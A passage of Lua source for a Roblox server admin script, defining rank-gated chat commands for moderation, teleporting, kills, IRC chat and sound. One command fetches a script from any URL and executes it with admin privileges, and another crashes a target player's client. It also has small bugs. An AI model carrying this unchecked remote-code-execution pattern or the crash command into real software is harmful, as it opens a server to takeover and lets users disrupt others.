  5366. GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
  5367. end
  5368. else
  5369. GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
  5370. end
  5371. end};
  5372.  
  5373. [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5374. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
  5375. IRC:AddChat(Speaker.Name, Arguments[1])
  5376. end};
  5377.  
  5378. --[[
  5379. [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5380. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
  5381. if Res then
  5382. GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
  5383. end
  5384. end, Http = true};
  5385.  
  5386. [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5387. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
  5388. if Res then
  5389. GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
  5390. end
  5391. end}, Http = true;
  5392. ]]
  5393.  
  5394. [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5395. IRC:Quit("Reconnecting")
  5396. IRC:ConnectToServer(Settings.IRCServer)
  5397. end};
  5398.  
  5399. [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5400. local Players = STRING:Scan(Arguments[1], Speaker)
  5401. for _,Player in pairs(Players) do
  5402. local PreAdd = {}
  5403. for _,Data in pairs(IRC.Chats) do
  5404. local Error = nil
  5405. if Rank == "Owner" then Error = Data[3] end
  5406. table.insert(PreAdd, {Data[1], Data[2], Error})
  5407. end
  5408. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
  5409. IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
  5410. if Rank ~= "Owner" then Error = nil end
  5411. AddMessage:Invoke(UserName, Message, Error)
  5412. end)
  5413. SendPressed.Event:connect(function(Text)
  5414. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
  5415. IRC:AddChat(Player.Name, Text)
  5416. end)
  5417. end
  5418. end};
  5419.  
  5420. [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5421. local Players = STRING:Scan(Arguments[1], Speaker)
  5422. for _,Player in pairs(Players) do
  5423. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
  5424. if Type == "Leave" then
  5425. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
  5426. elseif Type == "Join" then
  5427. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
  5428. end
  5429. end)
  5430. PriChat.Chatted.Event:connect(function(UserName, Message)
  5431. AddMessage:Invoke(UserName, Message)
  5432. end)
  5433. SendPressed.Event:connect(function(Text)
  5434. PriChat.Chatted:Fire(Player.Name, Text)
  5435. table.insert(PriChat.Chats, {Player.Name, Text})
  5436. end)
  5437. end
  5438. end};
  5439.  
  5440. [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5441. ExecuteSafe(Arguments[1], Speaker)
  5442. end};
  5443.  
  5444. [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5445. local Script = REMOTE:GetURL(Arguments[1], Player)
  5446. if Script then
  5447. ExecuteSafe(Script, Speaker)
  5448. end
  5449. end, Http = true};
  5450.  
  5451. [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
  5452. local Time = tick()
  5453. local Res = REMOTE:GetURL(Arguments[1], Player)
  5454. if Res then
  5455. GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
  5456. end
  5457. end, Http = true};
  5458.  
  5459. [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5460. CORE:RemoveAdmin(Speaker)
  5461. end};
  5462.  
  5463. [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5464. for _,Player in pairs(Server.Players:GetPlayers()) do
  5465. GUI:SendHint(Player, Arguments[1])
  5466. end
  5467. end};
  5468.  
  5469. [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5470. local Players = STRING:Scan(Arguments[1], Speaker)
  5471. local Debt = nil
  5472. for _,Player in pairs(Players) do
  5473. if not Debt then
  5474. Debt = GUI:ShowDebtStats(Player)
  5475. else
  5476. GUI:ShowDebtStats(Player, Debt)
  5477. end
  5478. end
  5479. end, Http = true};
  5480.  
  5481. [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5482. local Players = STRING:Scan(Arguments[1], Speaker)
  5483. for _,Player in pairs(Players) do
  5484. GUI:CreateHUD(Player)
  5485. end
  5486. end};
  5487.  
  5488. [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5489. local Players = STRING:Scan(Arguments[1], Speaker)
  5490. for _,Player in pairs(Players) do
  5491. if Player:FindFirstChild("PlayerGui") then
  5492. local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
  5493. if HUD then HUD:Destroy() end
  5494. end
  5495. end
  5496. end};
  5497.  
  5498. [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5499. local Players = STRING:Scan(Arguments[1], Speaker)
  5500. GUI:Vote(Speaker, Players, Arguments[2], 30)
  5501. end};
  5502.  
  5503. [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5504. local Players = STRING:Scan(Arguments[1], Speaker)
  5505. for _,Player in pairs(Players) do
  5506. CORE:ExecuteResource("Bomb", Player.Character)
  5507. end
  5508. end};
  5509.  
  5510. [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5511. local Players = STRING:Scan(Arguments[1], Speaker)
  5512. for _,Player in pairs(Players) do
  5513. CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
  5514. CORE:RestoreCamera(Player)
  5515. end
  5516. end};
  5517.  
  5518. [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
  5519. CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
  5520. CORE:RestoreCamera(Speaker)
  5521. end};
  5522.  
  5523. [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
  5524. local Players1 = STRING:Scan(Arguments[1], Speaker)
  5525. local Players2 = STRING:Scan(Arguments[2], Speaker)
  5526. for _,Player1 in pairs(Players1) do
  5527. if Player1.Character and Player1.Character:FindFirstChild("Torso") then
  5528. for _,Player2 in pairs(Players2) do
  5529. if Player2.Character and Player2.Character:FindFirstChild("Torso") then
  5530. Player1.Character:MoveTo(Player2.Character.Torso.Position)
  5531. end
  5532. end
  5533. end
  5534. end
  5535. end};
  5536.  
  5537. [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5538. local Players = STRING:Scan(Arguments[1], Speaker)
  5539. for _,Player in pairs(Players) do
  5540. Player:LoadCharacter()
  5541. end
  5542. end};
  5543.  
  5544. [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5545. local Players = STRING:Scan(Arguments[1], Speaker)
  5546. for _,Player in pairs(Players) do
  5547. CORE:RestoreCamera(Player)
  5548. end
  5549. end};
  5550.  
  5551. [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5552. local Players = STRING:Scan(Arguments[1], Speaker)
  5553. for _,Player in pairs(Players) do
  5554. CORE:Jail(Player)
  5555. end
  5556. end};
  5557.  
  5558. [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5559. local Players = STRING:Scan(Arguments[1], Speaker)
  5560. for _,Player in pairs(Players) do
  5561. CORE:UnJail(Player)
  5562. end
  5563. end};
  5564.  
  5565. [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5566. SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
  5567. end};
  5568.  
  5569. [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
  5570. SOUND:StopSpeaking()
  5571. end};
  5572.  
  5573. [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
  5574. local Players = STRING:Scan(Arguments[1], Speaker)
  5575. local Compile = {}
  5576. for Num,Player in pairs(Players) do
  5577. local PlayerRank = RANK:GetRank(Player)
  5578. local PlayerInfo = ClientInfo[Player.Name]
  5579. table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
  5580. table.insert(Compile, "User ID: "..Player.UserId)
  5581. table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
  5582. table.insert(Compile, "Rank: "..PlayerRank)
  5583.  
  5584. if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
  5585. if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
  5586. if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
  5587. if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
  5588. if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
  5589. if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
  5590. if PlayerInfo.Benchmark then
  5591. table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
  5592. end
  5593. if Num ~= #Players then table.insert(Compile, "-----------------------------") end
  5594. end
  5595. GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
  5596. end};
  5597.  
  5598. [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5599. if tonumber(Arguments[2]) then
  5600. local Players = STRING:Scan(Arguments[1], Speaker)
  5601. for _,Player in pairs(Players) do
  5602. coroutine.wrap(function()
  5603. if Player.Character then
  5604. table.insert(LoopKills, Player.Name)
  5605. local Loop = nil
  5606. local PrevChar = nil
  5607.  
  5608. for i = 1,tonumber(Arguments[2]) do
  5609. local Char = Player.Character
  5610. if PrevChar and PrevChar ~= Char then
  5611. PrevChar:Destroy()
  5612. end
  5613. PrevChar = Char
  5614. local CanDie = true
  5615. for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
  5616. if CanDie == false then
  5617. break
  5618. end
  5619. ypcall(function() Char.Parent = Server.Lighting end)
  5620. wait(0.1)
  5621. ypcall(function() Char.Parent = Server.Workspace end)
  5622. wait(0.1)
  5623. end
  5624. end
  5625. end)()
  5626. end
  5627. else
  5628. GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
  5629. end
  5630. end};
  5631.  
  5632. [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5633. local Players = STRING:Scan(Arguments[1], Speaker)
  5634. for _,Player in pairs(Players) do
  5635. for Num,Name in pairs(LoopKills) do
  5636. if Player.Name == Name then
  5637. table.remove(LoopKills, Num)
  5638. end
  5639. end
  5640. end
  5641. end};
  5642.  
  5643. [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
  5644. SOUND:PlayGlobalSound(Arguments[1])
  5645. end};
  5646.  
  5647. [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
  5648. SOUND:StopGlobalSound()
  5649. end};
  5650.  
  5651. [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  5652. local Pitch = tonumber(Arguments[1])
  5653. if not Pitch then Pitch = 1 end
  5654. if Sound then
  5655. Sound.Pitch = Pitch
  5656. end
  5657. end};
  5658.  
  5659. [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5660. local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
  5661. local Items = MARKET:SearchItem(9, Arguments[1])
  5662. if Items then
  5663. if #Items ~= 0 then
  5664. local List,Correlate = {},{}
  5665. for Num,Info in pairs(Items) do
  5666. local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
  5667. table.insert(List, Display)
  5668. Correlate[Display] = Info.AssetId
  5669. end
  5670. CloseGui:Invoke()
  5671.  
  5672. local CanClick = true
  5673. if Rank == "Member" then CanClick = false end
  5674. local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
  5675. Clicked.Event:connect(function(ClickName)
  5676. local OldSoundId = nil
  5677. SOUND:StopGlobalSound()
  5678. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  5679. SOUND:PlayGlobalSound(Correlate[ClickName])
  5680. end
  5681. end)
  5682. else
  5683. CloseGui:Invoke()
  5684. GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
  5685. end
  5686. else
  5687. CloseGui:Invoke()
  5688. GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
  5689. end
  5690. end, Http = true};
  5691.  
  5692. [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
  5693. local Players = STRING:Scan(Arguments[1], Speaker)
  5694. for _,Player in pairs(Players) do
  5695. if Player.Character then
  5696. CORE:ExecuteResource("Gun", Player.Character)
  5697. end
  5698. end
  5699. end};
  5700.  
  5701. [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
  5702. local Players = STRING:Scan(Arguments[1], Speaker)
  5703. for _,Player in pairs(Players) do
  5704. if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
  5705. local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
  5706. Player.Character.Humanoid.WalkSpeed = 0
  5707. Player.Character.Torso.Anchored = true
  5708. coroutine.wrap(function()
  5709. local OldCFrame = Player.Character.Torso.CFrame
  5710. for i = 0,8,0.1 do
  5711. Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
  5712. wait()
  5713. end
  5714. Player.Character.Torso.Anchored = false
  5715. Player.Character:BreakJoints()
  5716. CORE:InvisiblePlayer(Player)
  5717. end)()
  5718. end
  5719. end
  5720. end};
  5721.  
  5722. [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
  5723. local Players = STRING:Scan(Arguments[1], Speaker)
  5724. for _,Player in pairs(Players) do
  5725. CORE:AnchorPlayer(Player)
  5726. end
  5727. end};
  5728.  
  5729. [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5730. local Players = STRING:Scan(Arguments[1], Speaker)
  5731. for _,Player in pairs(Players) do
  5732. CORE:UnanchorPlayer(Player)
  5733. end
  5734. end};
  5735.  
  5736. [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
  5737. local Players = STRING:Scan(Arguments[1], Speaker)
  5738. for _,Player in pairs(Players) do
  5739. CORE:InvisiblePlayer(Player)
  5740. end
  5741. end};
  5742.  
  5743. [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
  5744. local Players = STRING:Scan(Arguments[1], Speaker)
  5745. for _,Player in pairs(Players) do
  5746. CORE:VisiblePlayer(Player)
  5747. end
  5748. end};
  5749.  
  5750. [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
  5751. local Players = STRING:Scan(Arguments[1], Speaker)
  5752. for _,Player in pairs(Players) do
  5753. if Player.Character and Player.Character:FindFirstChild("Torso") then
  5754. local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
  5755. local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
  5756. local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
  5757. local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
  5758. local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
  5759. local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
  5760. Fly:Play()
  5761. local Touched = false
  5762. coroutine.wrap(function()
  5763. repeat wait(0.1)
  5764. Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
  5765. until not Ast or Ast.Parent == nil or Touched == true
  5766. end)()
  5767. Ast.Touched:connect(function(Part)
  5768. if Touched == false then
  5769. Touched = true
  5770. Part:BreakJoints()
  5771. local Boom = Instance.new("Explosion", Workspace)
  5772. Boom.Position = Ast.Position
  5773. Boom.BlastPressure = 1000000
  5774. Boom.BlastRadius = 30
  5775. Fire.Heat = 0
  5776. Smoke.RiseVelocity = 0
  5777. Fly:Stop()
  5778. BoomSound:Play()
  5779. coroutine.wrap(function()
  5780. wait(3)
  5781. BoomSound:Stop()
  5782. if Ast and Ast.Parent ~= nil then
  5783. Ast:Destroy()
  5784. end
  5785. end)()
  5786. end
  5787. end)
  5788. end
  5789. end
  5790. end};
  5791.  
  5792. [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5793. local Success = {}
  5794. local Players = STRING:Scan(Arguments[1], Speaker)
  5795. for _,Player in pairs(Players) do
  5796. local PlayerRank = RANK:GetRank(Player)
  5797. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  5798. CORE:Kick(Player)
  5799. table.insert(Success, Player)
  5800. end
  5801. end
  5802. REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
  5803. end};
  5804.  
  5805. [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5806. local Success = {}
  5807. local Players = STRING:Scan(Arguments[1], Speaker)
  5808. for _,Player in pairs(Players) do
  5809. local PlayerRank = RANK:GetRank(Player)
  5810. if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
  5811. RANK:RemoveRank(Player)
  5812. table.insert(Settings.Ranks.Banned, Player.Name)
  5813. CORE:Kick(Player)
  5814. table.insert(Success, Player)
  5815. end
  5816. end
  5817. REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
  5818. end};
  5819.  
  5820. [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5821. local Success = {}
  5822. local Players = STRING:Scan(Arguments[1], Speaker)
  5823. for _,Player in pairs(Players) do
  5824. local PlayerRank = RANK:GetRank(Player)
  5825. if PlayerRank ~= "Owner" then
  5826. RANK:RemoveRank(Player)
  5827. table.insert(Settings.Ranks.Crashed, Player.Name)
  5828. CORE:Crash(Player)
  5829. table.insert(Success, Player)
  5830. end
  5831. end
  5832. REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
  5833. end};
  5834.  
  5835. [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5836. local Success = {}
  5837. local Players = STRING:Scan(Arguments[1], Speaker)
  5838. for _,Player in pairs(Players) do
  5839. local PlayerRank = RANK:GetRank(Player)
  5840. if PlayerRank ~= "Owner" then
  5841. RANK:RemoveRank(Player)
  5842. table.insert(Settings.Ranks.Muted, Player.Name)
  5843. GUI:CoreGui(Player, "Chat", false)
  5844. table.insert(Success, Player)
  5845. end
  5846. end
  5847. REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
  5848. end};
  5849.  
  5850. [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5851. local Players = STRING:Scan(Arguments[1], Speaker)
  5852. if #Players > 0 then
  5853. local Success = {}
  5854. for _,Player in pairs(Players) do
  5855. local RankName,RankNum = RANK:GetRank(Player)
  5856. if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
  5857. if not RANK:IsSupremeOwner(Player) then
  5858. if RankName == "Muted" then
  5859. GUI:CoreGui(Player, "Chat", true)
  5860. end
  5861. if RankNum > 0 then
  5862. GUI:TellNotAdmin(Player)
  5863. end
  5864. RANK:RemoveRank(Player)
  5865. table.insert(Success, Player)
  5866. end
  5867. end
  5868. end
  5869. REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
  5870. else
  5871. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  5872. if Player then
  5873. local RankNum = RANK:ConvertRank(PlayerRank)
  5874. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  5875. if not RANK:IsSupremeOwner(Player) then
  5876. RANK:RemoveRank(Player)
  5877. REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
  5878. end
  5879. end
  5880. end
  5881. end
  5882. end};
  5883.  
  5884. [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5885. local Players = STRING:Scan(Arguments[1], Speaker)
  5886. if #Players > 0 then
  5887. local Success = {}
  5888. for _,Player in pairs(Players) do
  5889. local PlayerRank,RankNum = RANK:GetRank(Player)
  5890. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  5891. RANK:RemoveRank(Player)
  5892. table.insert(Settings.Ranks.Member, Player.Name)
  5893. GUI:TellAdmin(Player)
  5894. table.insert(Success, Player)
  5895. end
  5896. end
  5897. REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
  5898. else
  5899. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  5900. if Player then
  5901. local RankNum = RANK:ConvertRank(PlayerRank)
  5902. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  5903. if not RANK:IsSupremeOwner(Player) then
  5904. RANK:RemoveRank(Player)
  5905. table.insert(Settings.Ranks.Member, Player)
  5906. end
  5907. end
  5908. else
  5909. RANK:RemoveRank(Arguments[1])
  5910. table.insert(Settings.Ranks.Member, Arguments[1])
  5911. end
  5912. end
  5913. end};
  5914.  
  5915. [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5916. local Players = STRING:Scan(Arguments[1], Speaker)
  5917. if #Players > 0 then
  5918. local Success = {}
  5919. for _,Player in pairs(Players) do
  5920. local PlayerRank,RankNum = RANK:GetRank(Player)
  5921. if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
  5922. RANK:RemoveRank(Player)
  5923. table.insert(Settings.Ranks.Admin, Player.Name)
  5924. GUI:TellAdmin(Player)
  5925. table.insert(Success, Player)
  5926. end
  5927. end
  5928. REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
  5929. else
  5930. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  5931. if Player then
  5932. local RankNum = RANK:ConvertRank(PlayerRank)
  5933. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  5934. if not RANK:IsSupremeOwner(Player) then
  5935. RANK:RemoveRank(Player)
  5936. table.insert(Settings.Ranks.Admin, Player)
  5937. end
  5938. end
  5939. else
  5940. RANK:RemoveRank(Arguments[1])
  5941. table.insert(Settings.Ranks.Admin, Arguments[1])
  5942. end
  5943. end
  5944. end};
  5945.  
  5946. [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5947. local Players = STRING:Scan(Arguments[1], Speaker)
  5948. if RANK:IsSupremeOwner(Speaker) then
  5949. if #Players > 0 then
  5950. local Success = {}
  5951. for _,Player in pairs(Players) do
  5952. if not RANK:IsSupremeOwner(Player) then
  5953. RANK:RemoveRank(Player)
  5954. table.insert(Settings.Ranks.Owner, Player.Name)
  5955. GUI:TellAdmin(Player)
  5956. table.insert(Success, Player)
  5957. end
  5958. end
  5959. REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
  5960. else
  5961. local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
  5962. if Player then
  5963. local RankNum = RANK:ConvertRank(PlayerRank)
  5964. if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
  5965. if not RANK:IsSupremeOwner(Player) then
  5966. RANK:RemoveRank(Player)
  5967. table.insert(Settings.Ranks.Owner, Player)
  5968. end
  5969. end
  5970. else
  5971. RANK:RemoveRank(Arguments[1])
  5972. table.insert(Settings.Ranks.Owner, Arguments[1])
  5973. end
  5974. end
  5975. end
  5976. end};
  5977.  
  5978. [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  5979. local TableStorage = {}
  5980. for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
  5981. for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
  5982. for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
  5983. GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
  5984. end};
  5985.  
  5986. [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  5987. local TableStorage = {}
  5988. for _,Player in pairs(Server.Players:GetChildren()) do
  5989. local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
  5990. if ValidAdmin then
  5991. if PlayerRank == "Owner" then
  5992. table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
  5993. else
  5994. table.insert(TableStorage, Player.Name..": "..PlayerRank)
  5995. end
  5996. end
  5997. end
  5998. GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
  5999. end};
  6000.  
  6001. [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
  6002. GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
  6003. end};
  6004.  
